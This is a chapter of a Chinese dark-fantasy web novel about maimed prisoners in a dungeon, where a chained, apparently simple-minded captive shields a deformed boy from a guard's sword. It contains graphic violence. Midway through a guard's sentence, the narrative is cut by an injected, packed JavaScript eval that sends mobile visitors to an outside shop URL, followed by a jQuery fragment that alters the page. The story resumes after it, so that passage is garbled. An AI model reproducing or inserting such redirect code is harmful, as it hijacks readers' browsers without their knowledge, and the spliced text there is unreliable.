阴暗的地牢里弥漫着令人作呕的腐臭,铁链拖在地上,拉出一阵刺耳的擦声,笨重地、一日复一日地响起,消磨了囚人求生的欲望,再锋利的刀也会被磨去锋芒。
守卫眯起眼,脸上不掩嫌恶之色,提着一桶馊米饭,顺着牢笼间的缝隙倒进去。
酸臭的餐食已经是留给囚人最大的恩惠,他们早已模糊了时间的概念,摸不清白天黑夜,却是记得开餐的间隔。
满地横陈的尸体,血肉模糊的断臂堆叠在地上,囚人们闻着酸腥味一拥而上,踩着冷硬的地板,在牢笼前疯抢。
一个漆黑的身影团缩在角落,他茫然地抬头,脏兮兮的面孔上满是疮痍,那对乌亮的瞳仁中也只剩空洞,他茫然看着牢笼前的囚人争抢,扭打成一团,嘴唇动了动。
他也饿了。
他稍微动了动身子,叮叮当当的金鸣声响起,脖颈上的铁链嗡然颤抖,勒得他呼吸不能,四肢上拴着的铁链牵动,绷直片刻又耷回原地。
人群中有一抹小巧的身影钻出,那孩子怀里鼓囊囊的,左右两腮还在鼓动,他熟练地猫着身子从硌人的皮包骨中穿行,一路奔向无人问津的角落。
“唔唔!吃!”
那少年咽下饭,咧开嘴,嘴唇随即裂成三瓣,露出一口残缺的黄牙,他用胳膊肘蹭了蹭碍事的长发,一只深深陷在眼眶中的灰白眼珠扭曲地上翻,另一只眼直勾勾盯着角落被铁链拴住的罪人。
少年翻出自己衣兜里的馊饭,迫不及待地送到囚人嘴边,他嘴里哆嗦着吐出“吃”字,涎水一边从他畸形的唇瓣间流落。
被锁链拴住的囚人见状,猛地抻长脖子,大张着嘴将发出阵阵恶臭的米饭包进嘴里,嚼碎了咽下肚,就连少年掌心粘着的米粒也不放过,将那对黑漆漆的小手舔得水亮。
少年痒得发笑,嘴里发出近似蚊蝇的嗡嗡声。
他小心地拨开囚人乱糟糟的长发,擦拭着囚人的脸,在囚人左眼下的一片脏污中擦出一颗小痣来。
“阿……渡,抱我。”他说。
那名为“阿渡”的囚人傻傻地望着他,没有动作。
少年等得不耐烦,抓着阿渡的两只手环住自己的腰,他则顺势贴入那个暖洋洋的怀抱。
吃食分抢得差不多了,囚人们四散,又纷纷滚回属于自己的角落,守着自己的余生,在这方囚室中蹉跎岁月。
“小六子,过家家还没玩够呢?”断臂的赤瞳男子斜倚在灰墙根,颇为不屑地嗤笑起来,“跟一个傻子有什么好说的。”
其他囚人闻言也纷纷狞笑起来,又有一人打趣道:“小六子你骗骗咱大家伙也就算了,可别把自己骗了,他跟你娘哪点像了,一天到晚阿渡阿渡的。”
少年捂住耳朵,一个劲地窝进阿渡怀里,外头的嘈杂声此起彼伏,还是钻进他耳朵里。他猛地起身,扭过头大吼一声:“烦死了!”
囚人们的笑化作一串唏嘘声,小六子这才安心蜷回阿渡的怀抱。
未几,人群中又冒出几点稀碎的声响,左右不再恼人,小六子也不去管了。
断臂囚人压着声音说道:“昨晚你们听到了没,隔壁牢房又被拖走了个人?”
他眼咕噜滚动,从人堆中拽出一个招风耳来。
“你肯定听到了!快说说,守卫都讲了些什么?”
招风耳啃起指甲,把口水揩在衣摆,瑟缩答道:“早晚都是要死的,知不知道又有什么分别……”
这话触怒了断臂,他薅住招风耳的衣襟,猛地将人推翻在地,若不是他只有一只手,另一拳已经招呼到招风耳脸上了。
“你什么意思?”断臂要咬牙切齿,红瞳中布满血丝,“我们大家辛辛苦苦挖了这么久,你想死我们还不想死呢!”
招风耳目光黯淡下来,绝望地说道:“出去了又怎样?你看看我们这些人,要手没手,要腿没腿,鼻子眼睛都缺,你忘了我们当初都是怎么进来的吗?”
囚室一时间又安静下来。
断臂本是魔军,在战争中失了一臂,本以为能卸甲归田安度晚年,没想到却被押送到这囚笼里;小六子生来便有缺陷,被生母抛弃,拐送至此;招风耳是为半妖,本能幻化出六耳,让人剪去四耳丢到此处;还有些人是被这里的守卫硬生生砍腿剁手落下的残疾之身,随便挑来五个人都不一定凑得出一副完整的身体,就连待在角落的那个四肢被铁链拴住的傻子也是——虽然四肢五官健全,却也还是缺了个脑子。
“我想带着阿渡出去看看,我不想死在这里。”小六子突然出声,他缓缓从阿渡的怀里钻了出来,他搡了搡阿渡,阿渡没有反应。
“你就算了,他一个傻子被栓成这幅狗样怎么逃?”囚人们仿佛听到天大的笑话,皆是一副事不关己高高挂起的模样。
傻子阿渡从来没有纳入逃跑计划的一部分,不过这里的囚人也很好奇,一个傻子为何要栓得这样紧。
“不行!我就要带着他!”小六子跑向断臂,“张大哥,你不是会很厉害的法术吗?你可以把铁链打断!”
断臂决绝地摇了摇头答道:“我的修为不若当年,出去之后还不知道要面对什么,不可能浪费在一个傻子身上。”
门外又响起窸窸窣窣的声音,招风耳从地上爬起来,小心地弓起身子靠在牢笼边假寐,其他人也都屏住呼吸,不再出声。
“上面不是说都凑齐了吗?这次又要什么?”一名尖耳窄额的守卫甩起手中的钥匙,那声音清脆,比山珍海味都来得诱人。
“北辰之地新册封了个小王,上面赶着送礼,特意让我们来寻。”
“哟,送小娘子啊?那怎么着也该去合欢宫寻人,我们这都是群老弱病残,有什么可挑的?”问话人话音刚落就挨了一掌。
“什么小娘子!刚跟你交代完你就忘光了,记性让狗吃了?!”另一名粗眉的守卫展开手里的画卷,上面赫然是名男子的画像,男子五官端正,虽是生得一双细眉也不显得秀气,一对瑞凤眼倒是有几分英气凛然的味道,倒是左眼下的泪痣给画像上的男子添了几分媚意。
“瞧见没,就寻跟他长得像的!”粗眉守卫附耳轻声道,“传言这新北辰王当年惨遭他师父迫害,对他那师父恨之入骨,上头想要我们寻个与他师父容貌相仿的送过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704071|208277||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
去讨小王欢心,还要身上白净点的。”
“哦~我懂了!李代桃僵啊!”拿着钥匙的守卫恍然大悟地点点头,“你别说,你这画像上的人跟牢里那个傻子还真有几分相像,喏,你看这痣的位置都是一样的。”
随着“咔哒”一声,牢笼的锁被打开,守卫亮出手里的长剑,囚人们识相地地让出一条路来,却有人不知死活地非要拦在前面。
“你们干什么!”小六子连滚带爬冲到角落,张开双手将阿渡护在身后。
寒光一凛,长剑出鞘,剑尖落在少年眉间,一股湿意顺着少年的裤腿淌下。
守卫谑笑着,一脚踹向他的小腹,将他踹了个四仰八叉:“见过跪在爷爷面前告饶的,倒是头回见到赶着上前来送死的。”
少年摔得头昏眼花,可他还是颤颤巍巍爬起身,横到阿渡跟前,眼中的气焰已然被掐去了大半。
“好了没,抓个残废有什么好磨蹭的!”门外的守卫等得不耐烦,冲着里头破口大喊。
“好了好了,催什么!”囚室内的守卫掏了掏耳朵看向哆嗦不止的少年,冷冷笑道,“是你自己赶着来送死的,可别怪老子不留情面。”说罢,一剑落下,鲜血如注,给生者添了分死气,给死者添了分生气。
“唔嗯……”锁链碰撞声响起,五条铁链齐刷刷绷直,阿渡扑向少年,长剑没入他的肩头,血水哗啦啦淋在少年的身上。
“阿渡!”小六子惊叫起来。
阿渡脸上又覆了层苍白,他沉默地盯着地面,长剑没入他肩头大半,他也没有要起身的意思。
“操,快过来看看!”粗眉守卫嫌恶地退开半步,将门外的尖耳守卫叫了进来。
“啧,见血了,”尖耳守卫眯起眼,嘴唇抿成一条线,瞥向粗眉守卫,“这……你这……瞧你这事办的,去去去,去隔壁牢房看看,我记得还有个眼下有痣的。”
“我哪里知道这傻子突然会扑上来……那行,去看看那个,交差了再说。”粗眉守卫“嗤”地抽出长剑,血花溅洒一地,二人又步履匆匆离去了。
待到二人远去,小六子这才从阿渡身下爬出来,他两眼泪汪汪的,开始胡乱抹眼泪,没一会,泪水又盈出来,糊了一脸,他呜咽着将阿渡拖起来,其它囚人冷眼瞧着,漠不关心地背过身去,权当没看见。
阿渡肩上有个血窟窿,正巧小六子身上的衣服已经成了碎布条子,他手忙脚乱地将身上的衣服翻扯下来堵住阿渡泊泊流着血的伤口。
阿渡气若游丝,眼皮沉得几乎撑不开,他见少年哭得伤心,手已经不由自主抬了起来,抚上了少年的脑袋。
小六子头顶一沉,还有些温度,眼眶鼻头齐齐发酸,哭得更大声了。
那年母亲在荒原时也是这样抚着他的脑袋,告诉他在原地等她回来,只是他再没有等到母亲,只等来一身的枷锁和刑鞭。
他初来此处时哭得昏天黑地,可被关在此处谁没点苦衷?任他在牢笼里怎样哀嚎都不会有人多看一眼。
唯独在哭得抽噎时被傻子摸了头。
那日,少年听到傻子说:“泽……嗯……”